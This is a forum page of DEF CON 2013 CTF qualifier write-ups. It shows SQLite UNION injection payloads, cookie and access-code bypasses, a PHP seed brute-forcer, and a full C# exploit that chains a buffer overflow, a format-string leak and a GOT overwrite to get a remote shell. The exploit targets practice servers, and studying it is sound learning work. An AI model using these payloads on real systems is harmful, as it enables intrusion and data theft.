8

DEF CON CTF 2013 qualifiers will start on Saturday, 15th of June 2013 at 00:00 UTC, and will last 48 hours until Sunday, 17th of June at 00:00 UTC (so midnight to midnight throughout the weekend).

Web stuff won’t just be simple baby’s first SQLi this time. It’ll be hard, it’ll be related to real-world stuff, and we think you’ll enjoy it.

We’re dropping categories from previous years. You can leave your forensics tools at work, you’re not going to be undeleting .TGA files from FAT12 dumps this year. You don’t need to bookmark all those DEF CON history pages either, trivia is gone, and we promise to not make you answer “____ ___ ______!”

Do go brush up on your assembly, and don’t just stop at Intel/AMD’s offerings. ARM processors are scary popular, PPC still exists lol, and who knows what other popular architectures might make a cameo. Expect to be taking over applications remotely, reverse engineering some ridiculous binaries, and writing mind bending shellcode.

Security.SE is fielding a team. If you want to join, refer to the CTF team announcement. We communicate through the Sec.SE CTF team chat room (locked during competitions, request access if you want in). The team credentials are in the chat room.


Update: CTF has ended! We finished with 20 points, 5 of which were from the "free space" OMGACM (guerrilla programming) #5. Besides that one (which wasn't a challenge, just a direct key), we finished of all five challenges in the web category. We also had some great progress on OMGACM #2 (diehard) and Shellcode #4 (annyong), as well as a couple of the RE ones.

| |
4

Web 1 (badmedicine)

Solved by Manishearth, independently by p____h (while not on the team)

This is a simple login form with no password field:

http://badmedicine.shallweplayaga.me:8042/

enter image description here

On logging in as "manish", I am redirected to /welcome, and I get this message

Of course, logging in as admin directly doesn't work


After rummaging around, I discovered that the session cookie was a bit nonstandard.

enter image description here

Using the "edit this cookie" Chrome Extension, I discovered that the encoding was a simple linear one. Changing the value of the session cookie from 05cd269cbd46 to 05cd269cbd47, it reported that I was logged in as "manisi".

So I simply logged in as "admim", and played with the last digit of the cookie (which was 09c8259ca3) Changing it to 09c8259ca0 logged me in. The key was who wants oatmeal raisin anyways twumpAdby

| |
3

Web 3 (hypeman) and Web 5 (worsemedicine)

http://hypeman.shallweplayaga.me http://worsemedicine.shallweplayaga.me

Both of these were solved by p____h while on the team. Solutions on his blog.

Web 3 was a login/create account form. After logging in, you could see a list of "secrets" and the users they belonged to, but not the contents of the secrets. You could also create your own secrets and have them listed there. Attempting to view someone else's secret threw a Sinatra error, with debugging on.

The goal here was to log in as "admin" and see the secret "key" belonging to admin. However, the web form wasn't letting users log in as admin.

Worsemedicine was similar; you could log in as anybody except admin.

| |
  • worsemedicine solution by p___h was awesome :D Other people did it by flippin' bits :P – NULLZ Jun 17 '13 at 5:27
  • @D3C4FF: Yep. I was working on installing sinatra (after having tried using null terminators and all, and then p____h comes along and posts his solution. I facepalmed :P – Manishearth Jun 17 '13 at 5:36
3

Web 2 (babysfirst)

http://babysfirst.shallweplayaga.me:8041/

Solved jointly by randomdude and Manishearth, independently by p____h (while not on the team)

The title was a pun on their prior announcement that "Web stuff won’t just be simple baby’s first SQLi this time."

I found this one interesting, because I've never dealt with SQLite till now. The injection we had discovered only allowed queries that returned 1x1 tables, and we had to work within that constraint.

From the outset, this one was a simple web form with a username and passwords field:

enter image description here

Initially, all login attempts failed. However, I noticed an interesting tidbit, the response headers of a failed login had an X-Sql header, which showed the exact SQL query being run (e.g. X-Sql: select name from users where name = 'manish' and password = 'abcd' limit 1;). This was useful, because now I knew the table and column name.

After a bit more experimentation, it was easy to get an injection:

Username: root'/*
Password: */ or 1='1

which ran the query select name from users where name = 'root'/*' and password = '*/ or 1='1' limit 1;

This gave a success message, but that's all. Furthermore, it only worked for root. (Later on we learned that it would also work for user)

Now, the only way for us to get the output of an sql query was to disguise it as the query of the users table, since the success message seemed to pull the username from the database.

@randomdude got there first (I was too busy wasting time with JOIN) with a UNION query

Username: aaa'/* 
Password: */ union select password from users as name union select name from users where 1=2 or 1='1

It turned out that the password was "barking up the wrong tree". Hmph.

(Using a Count(*) query we also discovered that there was a second entry in the table, a user "user" and password "password") So now we had to broaden our search. For that, we first needed database reflection. Trial-and-error would have worked (in retrospect), but it would be better if we could use reflection to determine the schema and then scoured it for the key.

Since each type of SQL is different especially when it comes to built in functions and reflection, we had to determine the database type.

Using the same user as above, and using the password */ union select sqlite_version() as name union select name from users where 1=2 or 1='1, (after trying every other type of SQL under the sun), I was surprised to find out that it was SQLite (3.7.9) .

We first tried PRAGMA commands. However, unlike most commands in SQL which return table values, SQLite PRAGMA commands return a string. Now, in a single-column SELECT command (the format our injection was restricted to), to get the value of a string function (function, not SQL command), we can run SELECT func(). Similarly, to get the value of a table-formatted SQL command, we can run SELECT columnname FROM (SQL COMMAND).

However, the PRAGMA commands would give syntax errors if stuffed in on either side.

Fortunately, @randomdude remembered that there is a database sqlite_master in SQLite, quite similar to information_schema with respect to the data it contains.

Using the password */ union select sql from sqlite_master where type='table' union select name from users where 1=2 or 1='1, we got that there was also a table keys, with a single column value (If this was not the first table in the database, an ORDER BY clause or a WHERE clause would have sufficed to bring it out). So, using the password */ union select value from keys union select name from users where 1=2 or 1='1, we got the string The key is: literally online lolling on line WucGesJi

| |
3

Web 4 (rememberme)

http://rememberme.shallweplayaga.me/

Solved jointly by p____h and Manishearth. Mainly by p___h

Here, there was a link to a login form, as well as a link to usernames.txt and passwords.txt. Both were fetched by getfile.php, which had two GET parameters: a filename, and an accesscode, which seemed to be a 128-bit hash. The given URLs opened username.txt (a list of usernames), but gave an "Invalid access code" error for passwords.txt.

@p____h discovered that the accesscode was simply the md5 of the filename, giving the following password file: http://rememberme.shallweplayaga.me/getfile.php?filename=passwords.txt&accesscode=b55dcb609a2ee6ea10518b5fd88c610e

This was a basic Unix /etc/passwd file, which would be a pain to decrypt. However, it was a red herring and the login form was irrelevant to the challenge (in fact, we would later discover that it was rigged to ignore all requests)

@p____h tried to ask getfile.php to read itself, and it obliged. Here are the contents:

$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
echo "Acces granted to $filename!

";
srand($value);
if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){
$data = file_get_contents($filename);
if ($data !== FALSE) {
if ($filename == "key.txt") {
$key = rand();
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
echo base64_encode($cyphertext);
}
else{
echo nl2br($data);
}

}
else{
echo "File does not exist";
}
}
else{
echo "File does not exist";
}

}
else{
echo "Invalid access code";
}
?>

So getfile.php would directly display the contents of a set of file. However, it would encrypt the contents of key.txt before displaying. And sure enough, key.txt contained a base64 encoded string that would change on refresh.

The encryption algorithm was quite simple:

srand(time()) //Set the random number generator seed to the current time, in seconds
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, rand(), $data, MCRYPT_MODE_CBC);
echo base64_encode($cyphertext);

To decrypt it, we would simply have to run

srand(time());
mcrypt_decrypt(MCRYPT_RIJNDAEL_128, rand(), base64_decode($keyfile), MCRYPT_MODE_CBC);

At the correct time. Since time() changes every second, the easiest thing to do would be to get the key value and loop through a small neighborhood of the current value of time(). (The small neighborhood needs to be on both sides, because one cannot be sure of synchronization between the two clocks)

I cooked up the following code:

<?php
error_reporting(0)
$c=base64_decode($argv[1]);
$a=time();
for($i=$a-200;$i<$a+200;$i++){
  srand($i);
  echo "\n".$i.") ". mcrypt_decrypt(MCRYPT_RIJNDAEL_128, rand(), $c, MCRYPT_MODE_CBC);

}

On looking through the largely binary output, I got the key To boldly go where no one has gone before WMx8reNS

| |
3

Exploitation 4 (annyong)

I (randomdude) didn't get this challenge solved, but I thought I'd share the progress I made on it. I'm also going to share some of the dead-ends I found myself investigating (hopefully the'll be useful as academic points).

The challenge gives us a binary and a server on which the binary is listening. We crack open the binary in IDA (download), and after a quick look around, we find this:

IDA screenshot

IDA makes the function pretty easy to read. The first thing that I saw in the function is a buffer overflow - the 'sub esp, 0x810' allocates 810 bytes of stack space for locals, but the value 0x900 is passed to fgets(). My first instinct was to attempt exploit of this - looks like a trivial stack buffer overflow, right?

So I set up a system and run the binary on it under GDB. I connect and send a lot of data to the daemon, and what do we get?

Woohoo, a crash! The data that I sent was along the lines of '_aaa_aab_aac', which makes it easy to see which registers were overwritten. We've obviously got control of RIP and RBP, which are pretty important. What's happened here is that the call to fgets has corrupted the return address from sub_108C on the stack, and once sub_108C returns, it uses overwritten data as RIP. So, being old-school, I thought I was home and dry at this point. I set RIP to the stack address and put some shellcode on the stack, aaand - nothing. Well, just a segfault.

So it seems that since I last did this (yes, quite some time ago), people started marking their stacks as non-executable, which is causing this access violation. Things aren't quite as simple as we thought, but our control of these registers via the buffer overflow will still be useful.

So we go back to the code and take a look at the code again, and this time, we look closely at the printf() call. It's only passing one argument! That's a format string bug which should lead to code execution (if you need a quick primer on exploitation of format string vulns, see this pdf). Looking at the function in the supplied binary, though, we can see that input containing the character 'n' is rejected, meaning we can't use the traditional '%n' method of exploitation.

Perhaps we can use the buffer overflow we found earlier to circumvent this check. Since the buffer overflow gives us control of RIP, we could use it to jump directly to loc_10ED - the block of code which calls printf() - ignoring the check entirely. The sequence of events is the following:

1) fgets is called, is returned a very long string which contains an 'n' character 2) fgets leaves the area after our stack buffer corrupted 3) strchr() is called, and the function writes "I don't think so" and refuses to printf() 4) control returns to loc_1113, which then notes that the stack-based local var_4 is nonzeo and thus returns 5) a value from the corrupt stack is transferred in to RIP. Since we control this value, we set it to the location of loc_10ED. 6) printf() is called with the recieved data.

Sorted. So we set this up with GDB and woohoo - it works, in that we now get to printf() an unrestricted attacker-supplied string!

So next we need to exploit the (now unrestricted) heap overflow. The first instinct I had was to modify the function we are running, adding code to give us a shell. However, this is not the easy answer it sounds, because the code section is mapped read-only. We could generate a ROP chain to get to what we want (perhaps the better option, in retrospect), but instead I decided to use a "%n"-style 4-byte overwrite to set a function pointer in the GOT (see here for an explanation of the GOT and PLT). We don't need any complex payload - since stdin/out of the target binary are redirected over a socket, all we need to is to system("/bin/bash") to get a remote shell.

Looking at the provided binary, we can see that after printf is called, fgets() is called again with the same buffer as an argument. If we start the payload of our data with "/bin/bash", then we can change the fgets entry in the PLT to the address of system(), and we're sorted. So we have the following additional steps in our exploit, to occur after the printf():

7) a k-rad format string payload causes the fgets() function pointer to be changed to a pointer to system() 8) control passes to loc_1113, but (since we corrupted the stack) we ensure that this time, var_4 contains zero, causing the target not to exit, but to call fgets() again 9) the target attempts to call fgets, passing it a buffer filled with our data. Instead, system() is called. 10) a shell!

However, there's an important aspect I've skimmed over so far - we must discover some locations in memory, since memory layout is randomised on each load of the target. We need:

  • The location that our stack buffer will be (so we can use an offset of that for our new stack after printf, thus controlling var_4)
  • The location of loc_10ED (so we can jump to it in step 8)
  • The location of system().

These are easy to get, since we have a format string vuln - we can simply pass %p to glean values straight from the stack (and indeed, a few registers). We send a message comprising the string "%08lx" repeated, which yields that a pointer to a value on the stack as the fourth address, a pointer to somewhere in the code segment as the 283rd, and a return address in to libc (actually _start_main()) as the 267th. Our pointers don't need to be exact, since the stack and code are always aligned at a page boundary. We can find the location of loc_10ED by masking off the lower 2 bytes and adding 0x10ED, and the location of system() by adding a constant to the _start_main return address. Ace.

So our attack now comprises two steps:

1) Send one message, of a size too small to trigger the overflow, containing a number of "0x%08lx". This will leak enough information about the memory layout to perform the real attack. 2) trigger the overflow, use this to trigger a format string vuln without 'n' filtering, and overwrite the fgets() pointer.

So far, I've glossed over the 'exploit the format string vuln' stage. Remember that the first few args are passed in registers on x64 (remove then using '%c', since we need to precisely control how many characters are written so we can use %n as a write primitive), and use the time-honoured "%XXXu%n" to write data. Since libc seems to silently fail on large %u values, we use a max of 5000, and provide multiples - so if we wanted to set the memory location 10020, we'd use "%5000u%5000u%20u%n". I ended up doing three overwrites to set a 64bit value 16 bits at a time (leaving the top 16 bits blank). The first overflow sets the bottom 16bits (making the middle 16 bits zero by necessity), and the second sets the middle 16, and the third the next 16. Unfortunately this means that the bottom 16bits must be less than the next 16, which must be less than the next 16. It was only after the context closed that I discovered that an 8bit write was possible, which would've made this much easier :D

So, after all that, our second-stage overflow ends up looking like this:

/bin/bash # [%c%c%c%c%c to use up the register args] [%5000u (repeat as neccessary)] [%..u] [%n to perform the PLT overwrite] [..] [nonzero value for first ebp-4] [..] [zero value for second ebp-4] [..] [new EBP for use after overflow] [new RIP - ie, pointer to loc_10ED] [args to pass to printf] [..]

I've only shown one overwrite in the format-string for clarity.

Amazingly, when I ran it against my Kali install, it works fine! It didn't, however, work against the target machine hosted by the CTF organisers. I think this is because of the hardcoded offset to system(). Unfortunately at this point I gave up and went to bed (having consumed enough caffeine to cause seismic activity). If I'd have worked out what build of libc the server was running, or simply tried all versions from common distributions, I would've been able to use that to find the correct offset to system() and thus get a shell. Note that I already had the location of libc in memory so, really, I had the hard part done.

Here's a huge-ass lump of incredibly poor C# which should work against Kali 1.0.3 32bit. As I say, it's poorly-written, horrible and generally bad! This isn't how I normally code!

    class Program
    {
        private static uint max = 5000;

        static void Main(string[] args)
        {
                Socket foo = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                while (true)
                {
                        foo = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
                        foo.SetSocketOption(SocketOptionLevel.Tcp, SocketOptionName.NoDelay, true);
                        foo.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.DontFragment, true);
                        foo.DontFragment = true;


                        try
                        {
                                 foo.Connect("192.168.0.1", 5679);
                                // foo.Connect("annyong.shallweplayaga.me", 5679);
                                doleethax(foo);
                                break;
                        }
                        catch (Exception)
                        {
                                Console.WriteLine("retry");
                                Thread.Sleep(500);
                                foo.Close();
                                continue;
                        }
                }

                Console.WriteLine("ok!");

                int n = 0;
                while (true)
                {
                        Byte[] readBuf = new byte[1];
                        while (foo.Receive(readBuf, 0, 1, SocketFlags.None) == 0)
                        {
                                Thread.Sleep(100);
                        }
                        Console.Write(Encoding.ASCII.GetChars(readBuf)[0]);
                        n++;
                }
        }

        static void doleethax(Socket foo)
        {
                // Find that stack location, code location, and a value in libc.

                // Generate a big string of 0x%08lx
                byte[] buf = new byte[2048];
                int i = 0;
                for (; i < buf.Length - 7; i+=6)
                {
                        buf[i + 0] = (byte) '%';
                        buf[i + 1] = (byte)'0';
                        buf[i + 2] = (byte)'8';
                        buf[i + 3] = (byte)'l';
                        buf[i + 4] = (byte)'x';
                        buf[i + 5] = (byte)' ';
                }
                buf[i] = (byte) '\n';
                foo.Send(buf, i+1, SocketFlags.None);

                byte[] stuff = new byte[9001];
                int n = 0;
                while (true)
                {
                        while (foo.Receive(stuff, n, 1, SocketFlags.None) == 0)
                        {
                                break;
                        }
                        if (stuff[n] == (Byte)'\n')
                                break;
                        n++;
                }
                stuff[n] = (byte) '\0';
                string replyLine = ASCIIEncoding.ASCII.GetString(stuff);
                Console.WriteLine(replyLine);

                string[] addresses = replyLine.Split(' ');

                UInt64 stackaddy = UInt64.Parse(addresses[3],  System.Globalization.NumberStyles.HexNumber);
                UInt64 somewhereincode = UInt64.Parse(addresses[282], System.Globalization.NumberStyles.HexNumber);
                UInt64 libc = UInt64.Parse(addresses[266], System.Globalization.NumberStyles.HexNumber);

                doMainPayload(foo, stackaddy, somewhereincode, libc);
        }

        static void doMainPayload(Socket foo, UInt64 stackLoc, UInt64 somewhereincode, UInt64 libcMain)
        {
                // Buffer to send to the server
                byte[] data = new byte[2304];

                // populate with _aaa_aab_aac ... 
                char a = 'a';
                char b = 'a';
                char c = 'a';
                for (int i = 0; i < data.Length; i += 4)
                {
                        data[i] = (byte) '_';
                        data[i+1] = (byte)a;
                        data[i+2] = (byte)b;
                        data[i+3] = (byte)c;

                        c++;
                        if (c == 'z')
                        {
                                c = 'a';
                                b++;
                        }
                        if (b == 'z')
                        {
                                a = 'a';
                                a++;
                        }
                        if (a == 'z')
                        {
                                a = 'a';
                        }

                        if (a == 'n')
                                a++;
                        if (b == 'n')
                                b++;
                        if (c == 'n')
                                c++;
                }

                // Set target EBP-4
                data[0x80c] = 0x01;
                data[0x80d] = 0x02;
                data[0x80e] = 0x03;
                data[0x80f] = 0x04;

                // And _second_ target EBP-4
                data[0x84c] = 0x00;
                data[0x84d] = 0x00;
                data[0x84e] = 0x00;
                data[0x84f] = 0x00;

                // Target EBP (new stack!)
                // UInt64 targetEBP = (stackLoc - 0x7f0) + 0x810;
                UInt64 targetEBP = (stackLoc - 0x7f0) + 0x810 + 0x40;
                data[0x817] = (byte)((targetEBP >> 56) & 0xff);
                data[0x816] = (byte)((targetEBP >> 48) & 0xff);
                data[0x815] = (byte)((targetEBP >> 40) & 0xff);
                data[0x814] = (byte)((targetEBP >> 32) & 0xff);
                data[0x813] = (byte)((targetEBP >> 24) & 0xff);
                data[0x812] = (byte)((targetEBP >> 16) & 0xff);
                data[0x811] = (byte)((targetEBP >> 8) & 0xff);
                data[0x810] = (byte)((targetEBP >> 0) & 0xff);

                // set target EIP
                UInt64 targetEIP = (somewhereincode & 0xffffffffff000) | 0xed;

                data[0x81f] = (byte)((targetEIP >> 56) & 0xff);
                data[0x81e] = (byte)((targetEIP >> 48) & 0xff);
                data[0x81d] = (byte)((targetEIP >> 40) & 0xff);
                data[0x81c] = (byte)((targetEIP >> 32) & 0xff);
                data[0x81b] = (byte)((targetEIP >> 24) & 0xff);
                data[0x81a] = (byte)((targetEIP >> 16) & 0xff);
                data[0x819] = (byte)((targetEIP >> 8) & 0xff);
                data[0x818] = (byte)((targetEIP >> 0) & 0xff);

                // the place we want to write data to (ie, _fgets)
                UInt64 locationToWriteTo = (somewhereincode & 0xffffffffff000) + 0x201058; // + 0x200fb0;

                // the shell command to execute (ie, bash)
                byte[] cmd = Encoding.ASCII.GetBytes("uptime # ");
                for (int i = 0; i < cmd.Length; i++)
                        data[0x40 + i] = cmd[i];

                // First few args are passed in registers which we don't control, so get those used up
                byte[] registerUser = Encoding.ASCII.GetBytes("%c%c%c%c%c");
                int writeCursor = 0x50;
                for (int i = 0; i < registerUser.Length; i++)
                {
                        data[writeCursor] = registerUser[i];
                        writeCursor++;
                }

                // the value to overwrite our pointer with (ie, a pointer to system()).
                UInt64 valueToWrite = libcMain + 0x2452B;

                // remove some for const string bits
                valueToWrite -= 21; //94; //37;
                // since %1234u has a max, do it like this
                uint spos = (uint) writeCursor;
                uint argsneeded = 0;
                uint written = 0;
                UInt32 valueToWriteLow = (UInt32)(valueToWrite & 0x000000000000ffff);
                UInt32 valueToWriteHigh = (UInt32)(valueToWrite & 0x00000000ffff0000) >> 16;
                UInt32 valueToWriteSuperHigh = (UInt32)((valueToWrite & (UInt64)0x0000ffff00000000) >> 32);

                if (valueToWrite > 0x0000FFFFFFFFFFFF)
                        throw new Exception();

                // idk lol
                valueToWriteHigh -= 21;
                valueToWriteSuperHigh -= 21;

                uint argh = valueToWriteLow;
                while (written < valueToWriteLow)
                {
                        uint toWrite;
                        if (valueToWriteLow - written > max)
                                toWrite = max;
                        else
                                toWrite = argh;

                        byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
                        //byte[] formatpart = Encoding.ASCII.GetBytes("%d");
                        for (int i = 0; i < formatpart.Length ; i++)
                        {
                                data[spos + i] = formatpart[i];
                        }
                        spos += (uint)formatpart.Length;
                        written += toWrite;
                        argh -= toWrite;
                        argsneeded++;
                }
                // %n plox
                data[spos + 0] = (byte)'%';
                data[spos + 1] = (byte)'n';
                spos += 2;

                // Now write the next two bytes.
                int argsneeded2 = 0;
                written = valueToWriteLow; // +2;
                if (written >valueToWriteHigh)
                        throw new Exception();
                argh = valueToWriteHigh - written;
                while (written < valueToWriteHigh)
                {
                        uint toWrite;
                        if (valueToWriteHigh - written > max)
                                toWrite = max;
                        else
                                toWrite = argh;

                        byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
                        for (int i = 0; i < formatpart.Length; i++)
                        {
                                data[spos + i] = formatpart[i];
                        }
                        spos += (uint)formatpart.Length;
                        written += toWrite;
                        argh -= toWrite;
                        argsneeded2++;
                }
                // %n plox
                data[spos + 0] = (byte)'%';
                data[spos + 1] = (byte)'n';
                spos += 2;


                // And the final two bytes.
                int argsneeded3 = 0;
                written = valueToWriteHigh; // +2;
                if (written > valueToWriteSuperHigh)
                        throw new Exception();
                argh = valueToWriteSuperHigh - written;
                while (written < valueToWriteSuperHigh)
                {
                        uint toWrite;
                        if (valueToWriteSuperHigh - written > max)
                                toWrite = max;
                        else
                                toWrite = argh;

                        byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
                        for (int i = 0; i < formatpart.Length; i++)
                        {
                                data[spos + i] = formatpart[i];
                        }
                        spos += (uint)formatpart.Length;
                        written += toWrite;
                        argh -= toWrite;
                        argsneeded3++;
                }
                // %n plox
                data[spos + 0] = (byte)'%';
                data[spos + 1] = (byte)'n';
                spos += 2;

                // null-terminate our format string
                data[spos + 2] = 0;
                spos += 2;

                writeShit(data, 0x820 + (int)(8 * argsneeded), locationToWriteTo);
                writeShit(data, 0x820 + (int)(8 * (argsneeded + argsneeded2 + 1)), locationToWriteTo + 2);
                writeShit(data, 0x820 + (int)(8 * (argsneeded + argsneeded2 + argsneeded3 + 2)), locationToWriteTo + 4);


                foo.Send(data);
        }

        private static void writeShit(byte[] data, int baseloc, ulong targetShellcodeLoc)
        {
                data[baseloc + 7] = (byte)((targetShellcodeLoc >> 56) & 0xff);
                data[baseloc + 6] = (byte)((targetShellcodeLoc >> 48) & 0xff);
                data[baseloc + 5] = (byte)((targetShellcodeLoc >> 40) & 0xff);
                data[baseloc + 4] = (byte)((targetShellcodeLoc >> 32) & 0xff);
                data[baseloc + 3] = (byte)((targetShellcodeLoc >> 24) & 0xff);
                data[baseloc + 2] = (byte)((targetShellcodeLoc >> 16) & 0xff);
                data[baseloc + 1] = (byte)((targetShellcodeLoc >> 8) & 0xff);
                data[baseloc + 0] = (byte)((targetShellcodeLoc >> 0) & 0xff);
        }
}

Now, if you'll excuse me, I'm off to find a writeup of how PPP did it!

I bet there's a much easier way than mine.

| |
  • Thanks for the writeup link! – randomdude Jun 21 '13 at 15:42
3

Guerilla Programming 2 (Die Hard)

This challenge was an exercise in TCP sockets client programming and finding optimum pouring solution for two random size buckets so the amount of water in one would fit the required weight of water (also random) that was inscribed on the scale.

Fire up your favorite terminal and open: diehard.shallweplayaga.me:4001

The script:

Our protagonist finds himself in a bit of a trouble. He needs to complete several stages of challenges, most of them while the world around him is collapsing. First up is actually finding challenges in the virtual world, by navigating in four directions (N, E, S, W). After entering the first challenge room, our character is presented with two buckets of different sizes, and a scale, on which you have to drop one of properly filled buckets to match the scale requirement and open the door to the new challenge. This initial challenge isn't timed, while all the subsequent are. After some manual testing in Putty (in raw mode), we've extracted the initial solution that never changes and can be hard-coded into the client software, but the latter challenges obviously needed to be scripted. No human could complete them in time, and it turns out even computer programs would have problems to...

   Die Hard

Damn sockets:

So first thing to do was to write a client that would be capable of communicating with the server, sending commands and reading its responses to send more commands. This turned out not to be as easy, as it's honestly been quite a while since I've been programming raw TCP sockets, so the most challenging first part was actually finding stable socket library that allows for enough low level control to script both server commands for which no response is read, and for those that needed to wait for server's response and parse from it new values. This was important, because the game timed out, if the protagonist would linger for too long, as the walls and the roof were collapsing around him. Each waiting for server's response meant more danger of the world around your character collapsing, and failing the mission.

After quite a bit of trouble finding suitable library, I've opted for what I know to be a good and stable library - Indy 10 for Delphi. Yes, the ancient one, but in perfect working order and I don't mind programming in Object Pascal (nice language to learn programming, and many probably started with it as well). Next part was to then script the optimal pouring solutions, and be able to complete each room with as few commands as possible (while also waiting for server's response only when really needed to, i.e. to read next challenge values).

   Die Hard Ping Pong

The pouring solution:

This seemed to be the most straightforward task, pure programming fun with addition and subtraction logic in a while loop. The code could look something along the lines of this pseudo code:

  writeln('get red jug');
  writeln('get blue jug');
  //jugs need to be filled to inspect their size
  writeln('fill red jug');
  writeln('fill blue jug');
  writeln('look inscription');
  //read our input values
  Red:= ReadFromInput(RedJugSize);
  Blue:= ReadFromInput(BlueJugSize);
  Scale:= ReadFromInput(TargetWeight);
  //set string substitutes for server commands
  Jugs[Blue >= Red]:= 'blue';
  Jugs[Blue < Red]:= 'red';
  //empty big jug
  Vals[True]:= 0;
  writeln('empty ' + Jugs[True] + ' jug');
  Vals[False]:= 0;
  //now loop the pouring between jugs until one of them matches the scale
  while !((Vals[True] = Scale) or (Vals[False] = Scale)) {
    //fill small jug
    Vals[False]:= Min(Red, Blue); 
    writeln('fill ' + Jugs[False] + ' jug');
    //pour small into big jug
    Vals[True]:= Vals[True] + Min(Red, Blue);
    writeln('pour ' + Jugs[False] + ' jug into ' + Jugs[True] + ' jug');
    //get difference in small jug
    Vals[False]:= Vals[True] - Max(Red, Blue);
    if Vals[True] > Max(Red, Blue)
    then Vals[True]:= Max(Red, Blue);
    if Vals[False] < 0 then Vals[False]:= 0;
    //empty big jug and pour small one into big one
    if (Vals[False] > 0) {
      Vals[True]:= Vals[False];
      writeln('empty ' + Jugs[True] + ' jug');
      writeln('pour ' + Jugs[False] + ' jug into ' + Jugs[True] + ' jug');
    }
  }
  //decide which jug to put on scale, drop the other one
  writeln('put ' + Jugs[Vals[True] = Scale] + ' jug onto scale');
  writeln('drop ' + Jugs[Vals[True] != Scale] + ' jug');
  //progress to the next room
  writeln('n');

Now this algorithm was obviously later much optimized, but the gist of it is here:

  • exit while loop as soon as you can, when one of the jugs is filled with required quantity
  • find shortcuts to poring solutions (i.e. is Abs(Vals[True]-Vals[False])=Scale)
  • decide, whether to switch jugs for pouring (i.e. is Scale mod Vals[True] > Scale mod Vals[False])
  • only wait for server response when absolutely necessary (two write commands, one doesn't wait)
  • ...

The result:

Sadly, I wasn't able to complete all the required challenges to collect the flag. The best result I got was 19 rooms solved (if the number of them was 20, then that's so close), but the code suffered from some bugs (basically, I've forgotten to include >= where only > was in the string substitution for the blue jug, resulting in hard to spot errors in mixing solutions with all the server's output, if the required scale value was equal to how much water blue jug holds, basically issuing a command put jug onto scale instead of put blue jug onto scale) that took too much time to identify, there were some other minor inefficiencies in decision where to wait for server's response and where not, and the late hours didn't help either. All of it resulted in nearly getting there, but not quite. Frustrating!

Still, the challenge was fun, I've refreshed my memory on raw socket programming, and given a bit more time to polish out the rough edges in my code, or even starting over without the burden of finding comfortable and powerful enough socket library, who knows, maybe I'd be able to collect the 2 points flag.

Disturbing noises from the roof above gives you the feeling that you can't stay in this room long.
Sections of the roof start to collapse all around you... The roof starts to fall apart!!!
The roof collapses in on you. You have failed!

We had a small earthquake here yesterday, and thankfully there was no damage and this only happened to our virtual protagonist in the TCP client. Over and over again. :)


UPDATE: A few of the completed challenge write-ups can already be found on the web:

Observations: It turns out there was nothing wrong with the application I wrote, and the ability to complete the challenge depended highly on internet speed (i.e. ping speed or distance to the server). Some other teams have been complaining about that fact as well (see for example comments to the F00ls Bl0g write-up) and they still can't make flag collecting python scripts to work for them, and neither can I.

For our tries, I've compiled a Win32 executable and uploaded it to my web server while the challenge lasted, but others that tried it didn't have much luck with it either (@D3C4FF, @Manishearth and others, none of us from US where the server was), but we did suspect there must be something amiss with the network lag, as the application progressed really fast where no server response was needed, and pretty slow where it was. Oh well...

This is how the completed challenge looked like:

You find yourself in a solid granite chamber filled with hexadecimal writings on the walls. In the middle of the room sits a small key. A key is sitting in the room.

> get key
You get a key.

> look key
You look at a key that you are holding. An inscription on the key reads:
The key is: yippie kay yay motherfucker 3nc83n89fg

| |

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .